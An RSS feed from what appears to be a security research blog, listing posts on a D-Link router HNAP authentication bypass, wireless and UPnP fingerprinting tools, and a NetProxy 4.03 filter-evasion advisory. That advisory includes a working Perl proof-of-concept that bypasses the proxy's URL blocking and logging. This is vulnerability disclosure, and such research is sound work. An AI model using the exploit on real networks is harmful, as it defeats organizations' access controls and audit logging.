<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SourceSec Security Research &#187; Code</title>
	<atom:link href="http://www.sourcesec.com/category/code/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sourcesec.com</link>
	<description>Security research and vulnerability assesment</description>
	<lastBuildDate>Tue, 19 Jan 2010 05:15:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>D-Link Routers: One Hack to Own Them All</title>
		<link>http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/</link>
		<comments>http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 16:49:08 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Papers]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[d-link]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[HNAP]]></category>
		<category><![CDATA[Routers]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=195</guid>
		<description><![CDATA[We&#8217;ve been on hiatus over the past few months working on other projects, but last week we re-focused on D-Link routers. While we previously found a flaw in D-Link&#8217;s CAPTCHA implementation, this time around we&#8217;ve found a way to view and edit D-Link router settings without any administrative credentials.
The short story is that D-Link routers [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve been on hiatus over the past few months working on other projects, but last week we re-focused on D-Link routers. While we previously found a <a href="http://www.sourcesec.com/2009/05/12/d-link-captcha-partially-broken/">flaw</a> in D-Link&#8217;s CAPTCHA implementation, this time around we&#8217;ve found a way to view and edit D-Link router settings without any administrative credentials.</p>
<p>The short story is that D-Link routers have a second administrative interface, which uses the Home Network Administration Protocol. While HNAP does require basic authentication, the mere existence of HNAP on D-Link routers allows attackers and malware to bypass CAPTCHA &#8220;security&#8221;. Further, HNAP authentication is not properly implemented, allowing anyone to view and edit administrative settings on the router.</p>
<p>HNAP appears to have been implemented in D-Link routers since 2006, and cannot be disabled. We have verified that vulnerabilities exist in the HNAP implementations of the DI-524, DIR-628 and DIR-655 routers, and suspect that most, if not all, D-Link routers since 2006 are vulnerable.</p>
<p>You can read our full write-up <a href="http://www.sourcesec.com/Lab/dlink_hnap_captcha.pdf">here</a>, and download our POC tool, HNAP0wn, <a href="http://www.sourcesec.com/Lab/hnap0wn.tar.gz">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/feed/</wfw:commentRss>
		<slash:comments>68</slash:comments>
		</item>
		<item>
		<title>WiFinger Signatures Request</title>
		<link>http://www.sourcesec.com/2009/05/10/wifinger-signatures-request/</link>
		<comments>http://www.sourcesec.com/2009/05/10/wifinger-signatures-request/#comments</comments>
		<pubDate>Sun, 10 May 2009 17:28:51 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[community support]]></category>
		<category><![CDATA[wifinger]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=95</guid>
		<description><![CDATA[As you may know, we recently released our WiFinger tool for fingerprinting wireless access points. However, fingerprinting tools are only as good as their signature database, and while we have a handful of popular signatures already, we need more. So if you want to contribute to this project, one of the best ways to help [...]]]></description>
			<content:encoded><![CDATA[<p>As you may know, we recently released our <a href="http://www.sourcesec.com/2009/05/09/wifinger-passive-wireless-fingerprinting-tool/">WiFinger</a> tool for fingerprinting wireless access points. However, fingerprinting tools are only as good as their signature database, and while we have a handful of popular signatures already, we need more. So if you want to contribute to this project, one of the best ways to help is to send us pcap files of 802.11 beacon packets for access points and routers that we don&#8217;t already have in our database.</p>
<p>Specifically, here&#8217;s what we&#8217;ll need:</p>
<ul>
<li>If the access point supports WPA and/or WPS, enable both of those features. This can help us in creating more robust signatures.</li>
<li>Place your wireless card in monitor mode and use Wireshark to capture the access point&#8217;s beacon packets (we only need one beacon packet, so don&#8217;t feel like you have to capture large amounts of data).</li>
<li>Save the Wireshark capture and send us the pcap file along with as much information as you can about the access point (vendor, model, firmware version, hardware revision, etc).</li>
<li>Send all submissions to dev [at] sourcesec.com.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2009/05/10/wifinger-signatures-request/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WPScan &amp; WPSpy Tools</title>
		<link>http://www.sourcesec.com/2009/05/09/wpscan-wpspy-tools/</link>
		<comments>http://www.sourcesec.com/2009/05/09/wpscan-wpspy-tools/#comments</comments>
		<pubDate>Sat, 09 May 2009 18:08:16 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[fingerprinting]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wps]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=83</guid>
		<description><![CDATA[These are the Wifi-Protected Setup tools that we presented at ChicagoCon.
WPScan actively sends 802.11 probe requests to access points that advertise WPS support. It then parses out the WPS Information Element in the resulting probe response and displays the results. This is a very useful fingerprinting tool since nearly all new routers have WPS enabled [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.wi-fi.org/wifi-protected-setup"><img class="alignright" title="Wifi Protected Setup" src="http://www.wi-fi.org/images/wfa_wps_mark_horiz_180x80.jpg" alt="" width="122" height="52" /></a><a href="http://www.sourcesec.com/Lab/wps_tools.tar.gz">These</a> are the Wifi-Protected Setup tools that we presented at ChicagoCon.</p>
<p>WPScan actively sends 802.11 probe requests to access points that advertise WPS support. It then parses out the WPS Information Element in the resulting probe response and displays the results. This is a very useful fingerprinting tool since nearly all new routers have WPS enabled by default, and most vendors will actually put the exact make, model, and version of the router in the probe response!</p>
<p>WPSpy is a tool to simply monitor and report changes in the WPS status of and access point. This is particularly useful if you are running some of our described attacks that leverage WPS to gain access to the WLAN.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2009/05/09/wpscan-wpspy-tools/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WiFinger Passive Wireless Fingerprinting Tool</title>
		<link>http://www.sourcesec.com/2009/05/09/wifinger-passive-wireless-fingerprinting-tool/</link>
		<comments>http://www.sourcesec.com/2009/05/09/wifinger-passive-wireless-fingerprinting-tool/#comments</comments>
		<pubDate>Sat, 09 May 2009 18:07:56 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[fingerprinting]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=81</guid>
		<description><![CDATA[Here is one of the tools we presented at our ChicagoCon talk. It passively identifies wireless access points based on matching the Information Elements in their beacon packets against a fingerprint database. It is written in Python and uses Scapy, and has been tested in Linux.
Currently we only have a handful of signatures, so if [...]]]></description>
			<content:encoded><![CDATA[<p>Here is one of the tools we presented at our ChicagoCon talk. It passively identifies wireless access points based on matching the Information Elements in their beacon packets against a fingerprint database. It is written in Python and uses Scapy, and has been tested in Linux.</p>
<p>Currently we only have a handful of signatures, so if you want to contribute to this tool, here&#8217;s what you can do:</p>
<ol>
<li>Get your access point and enable WPA and WPS (if supported).</li>
<li>Capture the beacon frames that your access point is broadcasting and save them to a pcap file.</li>
<li>Send us the pcap file along with as much information about the access point as you can (make, model, firmware version, hardware revision, ESSID and BSSID).</li>
</ol>
<p>Once we get your submission we&#8217;ll generate a signature for it and update the WiFinger database file. We think this tool has a lot of great potential, so we welcome any and all submissions &#8211; if you&#8217;ve got a router, let&#8217;s put it in there!</p>
<p>WiFinger can be downloaded <a href="http://www.sourcesec.com/Lab/wifinger.tar.gz">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2009/05/09/wifinger-passive-wireless-fingerprinting-tool/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Miranda UPNP Administration Tool</title>
		<link>http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/</link>
		<comments>http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 23:46:22 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[UPNP]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=25</guid>
		<description><![CDATA[Miranda is a Python-based Universal Plug-N-Play client application designed to discover, query and interact with UPNP devices, particularly Internet Gateway Devices (aka, routers). It can be used to audit UPNP-enabled devices on a network for possible vulnerabilities. Some of its features include:

Interactive shell with tab completion and command history
Passive and active discovery of UPNP devices
Customizable [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.upnp.org/newsletters/images/image005.gif"><img class="alignright" title="UPNP stack, complements of the UPNP Forum" src="http://www.upnp.org/newsletters/images/image005.gif" alt="" width="142" height="84" /></a><a href="http://code.google.com/p/mirandaupnptool/">Miranda</a> is a Python-based Universal Plug-N-Play client application designed to discover, query and interact with UPNP devices, particularly Internet Gateway Devices (aka, routers). It can be used to audit UPNP-enabled devices on a network for possible vulnerabilities. Some of its features include:</p>
<ul>
<li>Interactive shell with tab completion and command history</li>
<li>Passive and active discovery of UPNP devices</li>
<li>Customizable MSEARCH queries (query for specific devices/services)</li>
<li>Full control over application settings such as IP addresses, ports and headers</li>
<li>Simple enumeration of UPNP devices, services, actions and variables</li>
<li>Correlation of input/output state variables with service actions</li>
<li>Ability to send actions to UPNP services/devices</li>
<li>Ability to save data to file for later analysis and collaboration</li>
<li>Command logging</li>
</ul>
<p>Miranda was built on and for a Linux system and has been tested on a Linux 2.6 kernel with Python 2.5. 	However, since it is written in Python, most functionality <em>should</em> be available for any Python-supported 	platform. Miranda has been tested against IGDs from various vendors, including Linksys, D-Link, Belkin and ActionTec. 	All Python modules came installed by default on a Linux Mint 5 (Ubuntu 8.04) test system.</p>
<p>For more information about UPNP, visit the <a href="http://www.upnp.org/">UPNP Forum</a>. For information regarding UPNP vulnerabilities, see <a href="http://www.upnp-hacks.org/">UPNP Hacks</a> and <a href="http://www.gnucitizen.org/blog/hacking-with-upnp-universal-plug-and-play/">GNUCitizen</a>.</p>
<p><a href="http://code.google.com/p/mirandaupnptool/">Download</a> Miranda!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>NetProxy 4.03 Web Filter Evasion</title>
		<link>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/</link>
		<comments>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 21:36:50 +0000</pubDate>
		<dc:creator>cheffner</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.sourcesec.com/?p=12</guid>
		<description><![CDATA[Sending a specially crafted request to the NetProxy proxy server allows users to view restricted Web content and bypass the proxy&#8217;s logging feature.
Description
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:
GET http://www.milw0rm.com HTTP/1.0
NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending [...]]]></description>
			<content:encoded><![CDATA[<p>Sending a specially crafted request to the NetProxy proxy server allows users to view restricted Web content and bypass the proxy&#8217;s logging feature.</p>
<p><strong>Description</strong><br />
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:</p>
<blockquote><p>GET http://www.milw0rm.com HTTP/1.0</p></blockquote>
<p>NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending a request without &#8216;http://&#8217; in the URL allows access to the blocked URL (note that the port must be manually specified as well):</p>
<blockquote><p>GET www.milw0rm.com:80 HTTP/1.0</p></blockquote>
<p>In addition, requests made in this manner are not logged to NetProxy&#8217;s connection log file.</p>
<p><strong>Exploit POC</strong><br />
<code>#!/usr/bin/perl<br />
use IO::Socket;</p>
<p>#Define the NetProxy server and port<br />
$proxy_ip = "127.0.0.1";<br />
$proxy_port = "8080";</p>
<p>#Set the site, port and page to request<br />
$site = "www.milw0rm.com";<br />
$port = "80";<br />
$page = "index.html";</p>
<p>#Define FF and IE user agent strings<br />
$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";<br />
$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";</p>
<p>#Create connection to NetProxy<br />
my $sock = new IO::Socket::INET(<br />
Proto =&gt; 'tcp',<br />
PeerAddr =&gt; $proxy_ip,<br />
PeerPort =&gt; $proxy_port,<br />
);<br />
die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n" unless $sock;</p>
<p>#Format the request<br />
$request = "GET $site:$port/$page HTTP/1.0\r\n";<br />
$request .= "User-Agent: $ms_ff\r\n";<br />
$request .= "\r\n";</p>
<p>#Send the request<br />
print $sock $request;</p>
<p>#Read the reply<br />
while(&lt;$sock&gt;){<br />
$reply .= $_;<br />
}</p>
<p>close($sock);</p>
<p>#Separate NetProxy header from HTML<br />
($header,$html) = split("\r\n\r",$reply);</p>
<p>print $html;</p>
<p>exit;</code></p>
<p><strong>Credits</strong><br />
Discovered by Craig Heffner and originally posted on <a href="http://milw0rm.com/exploits/3381">milw0rm</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sourcesec.com/2008/11/03/netproxy-403-web-filter-evasion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
